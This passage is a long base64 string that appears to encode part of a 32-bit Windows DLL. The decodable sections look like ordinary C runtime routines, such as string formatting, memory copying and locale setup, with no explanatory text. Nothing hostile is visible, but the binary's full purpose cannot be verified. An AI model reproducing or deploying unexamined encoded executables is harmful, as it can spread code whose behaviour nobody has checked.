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x4Xo+///CAAAAHRhgY34+///AAIAAOtVizODwwSJneT7///oQU8AAIXAD4QwBQAA9oX4+///IHQMZouF4Pv//2aJBusIi4Xg+///iQbHhcT7//8BAAAA6cEEAACDjfj7//9Ax4Xo+///CgAAAPeF+Pv//wCAAAAPhKsBAACLA4tTBIPDCOnnAQAAdRJmg/pndWPHhfT7//8BAAAA61c5hfT7//9+BomF9Pv//4G99Pv//6MAAAB+PYu99Pv//4HHXQEAAFfomBAAAIuV6Pv//1mJhbz7//+FwHQQiYXw+///ib3s+///i/DrCseF9Pv//6MAAACLA4PDCImFlPv//4tD/ImFmPv//42FqPv//1D/taD7//8PvsL/tfT7//+JneT7//9Q/7Xs+///jYWU+///VlD/NUBdARDoTfD//1n/0Iud+Pv//4PEHIHjgAAAAHQhg730+///AHUYjYWo+///UFb/NUxdARDoHfD//1n/0FlZZoO96Pv//2d1HIXbdRiNhaj7//9QVv81SF0BEOj37///Wf/QWVmAPi11EYGN+Pv//wABAABGibXw+///VukE/v//x4X0+///CAAAAImNuPv//+skg+hzD4Rn/P//K8cPhIr+//+D6AMPhckBAADHhbj7//8nAAAA9oX4+///gMeF6Pv//xAAAAAPhGr+//9qMFhmiYXI+///i4W4+///g8BRZomFyvv//4m93Pv//+lF/v//94X4+///ABAAAA+FRf7//4PDBPaF+Pv//yB0HPaF+Pv//0CJneT7//90Bg+/Q/zrBA+3Q/yZ6xf2hfj7//9Ai0P8dAOZ6wIz0omd5Pv///aF+Pv//0B0G4XSfxd8BIXAcxH32IPSAPfagY34+///AAEAAPeF+Pv//wCQAACL2ov4dQIz24O99Pv//wB9DMeF9Pv//wEAAADrGoOl+Pv///e4AAIAADmF9Pv//34GiYX0+///i8cLw3UGIYXc+///jbX7/f//i4X0+////430+///hcB/BovHC8N0LYuF6Pv//5lSUFNX6J5NAACDwTCD+TmJnZD7//+L+IvafgYDjbj7//+IDk7rvY2F+/3//yvGRveF+Pv//wACAACJhez7//+JtfD7//90WYXAdAeLzoA5MHRO/43w+///i43w+///xgEwQOs2hdt1C6EkXQEQiYXw+///i4Xw+///x4XY+///AQAAAOsJT2aDOAB0BkBAhf918yuF8Pv//9H4iYXs+///g73E+///AA+FZQEAAIuF+Pv//6hAdCupAAEAAHQEai3rDqgBdARqK+sGqAJ0FGogWGaJhcj7///Hhdz7//8BAAAAi53U+///i7Xs+///K94rndz7///2hfj7//8MdRf/tdD7//+NheD7//9TaiDokfX//4PEDP+13Pv//4u90Pv//42F4Pv//42NyPv//+iY9f//9oX4+///CFl0G/aF+Pv//wR1EldTajCNheD7///oT/X//4PEDIO92Pv//wB1dYX2fnGLvfD7//+Jtej7////jej7//+Nhaj7//9Qi4Wo+////7CsAAAAjYWc+///V1Do3UoAAIPEEImFkPv//4XAfin/tZz7//+LhdD7//+NteD7///ouvT//wO9kPv//4O96Pv//wBZf6brHION4Pv////rE4uN8Pv//1aNheD7///o4/T//1mDveD7//8AfCD2hfj7//8EdBf/tdD7//+NheD7//9TaiDolfT//4PEDIO9vPv//wB0E/